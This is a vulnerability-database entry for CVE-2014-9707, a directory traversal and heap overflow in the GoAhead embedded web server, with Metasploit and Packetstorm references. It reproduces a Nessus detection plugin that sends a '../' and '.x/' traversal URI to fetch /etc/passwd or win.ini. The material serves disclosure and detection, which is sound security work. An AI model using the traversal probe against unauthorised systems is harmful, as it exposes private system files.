Vulnerabilities > CVE-2014-9707 - Code vulnerability in Embedthis Goahead

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
embedthis
CWE-17
nessus
metasploit

Summary

EmbedThis GoAhead 3.0.0 through 3.4.1 does not properly handle path segments starting with a . (dot), which allows remote attackers to conduct directory traversal attacks, cause a denial of service (heap-based buffer overflow and crash), or possibly execute arbitrary code via a crafted URI.

Common Weakness Enumeration (CWE)

Metasploit

descriptionThis module exploits a directory traversal vulnerability in the Embedthis GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files with the web server privileges.
idMSF:AUXILIARY/SCANNER/HTTP/GOAHEAD_TRAVERSAL
last seen2019-11-24
modified2019-03-05
published2015-04-07
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9707
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/goahead_traversal.rb
titleEmbedthis GoAhead Embedded Web Server Directory Traversal

Nessus

NASL familyWeb Servers
NASL idGOAHEAD_CVE_2014_9707.NASL
descriptionThe remote GoAhead embedded web server is affected by a directory traversal vulnerability due to a flaw in the websNormalizeUriPath() function. A remote, unauthenticated attacker can exploit this flaw to obtain arbitrary files on the affected host. The flaw that allows the directory traversal may also be used to perform a heap-based buffer overflow, potentially allowing code execution or a denial of service condition.
last seen2020-06-01
modified2020-06-02
plugin id82566
published2015-04-03
reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/82566
titleGoAhead Embedded Web Server websNormalizeUriPath() Directory Traversal Vulnerability
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(82566);
  script_version("1.6");
  script_cvs_date("Date: 2019/11/22");

  script_cve_id("CVE-2014-9707");
  script_bugtraq_id(73404);

  script_name(english:"GoAhead Embedded Web Server websNormalizeUriPath() Directory Traversal Vulnerability");
  script_summary(english:"Attempts to exploit a directory traversal vulnerability.");

  script_set_attribute(attribute:"synopsis", value:
"The remote device is affected by a directory traversal vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote GoAhead embedded web server is affected by a directory
traversal vulnerability due to a flaw in the websNormalizeUriPath()
function. A remote, unauthenticated attacker can exploit this flaw to
obtain arbitrary files on the affected host.

The flaw that allows the directory traversal may also be used to
perform a heap-based buffer overflow, potentially allowing code
execution or a denial of service condition.");
  # https://github.com/embedthis/goahead/commit/eed4a7d177bf94a54c7b06ccce88507fbd76fb77
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a935864f");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/oss-sec/2015/q1/1028");
  script_set_attribute(attribute:"solution", value:
"Contact the vendor of the device running the GoAhead embedded web
server for a fixed version.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/11/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/11/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/04/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:embedthis:goahead");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Web Servers");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

app = "GoAhead HTTP Server";

port = get_http_port(default:80, embedded:TRUE);

server = http_server_header(port:port);

if(server !~ "^\s*GoAhead-")
  audit(AUDIT_NOT_LISTEN, app, port);

file_pats = make_array();

file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/winnt/win.ini'] = '^(\\[[A-Za-z]+\\]|^; for 16-bit app support|\\[MCI Extensions.BAK\\])';
file_pats['/windows/win.ini'] = '^(\\[[A-Za-z]+\\]|^; for 16-bit app support|\\[MCI Extensions.BAK\\])';

traversal_depth = 10;

report_file = '';

foreach file (keys(file_pats))
{

  exploit_uri = mult_str(str:"../", nb:traversal_depth);
  exploit_uri += mult_str(str:".x/", nb:traversal_depth);
  exploit_uri += substr(file,1);

  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : exploit_uri,
    exit_on_fail : TRUE
  );

  if(res[2] =~ file_pats[file])
  {
    report_file = file;
    break;
  }
}

if(report_file == '')
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:'/', port:port));

security_report_v4(port     : port,
                   severity : SECURITY_HOLE,
                   output   : res[2],
                   file     : report_file,
                   request  : make_list(build_url(port:port, qs:exploit_uri)));

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/131156/goahead341-overflowtraversal.txt
idPACKETSTORM:131156
last seen2016-12-05
published2015-03-28
reporterMatthew Daley
sourcehttps://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html
titleGoAhead 3.4.1 Heap Overflow / Traversal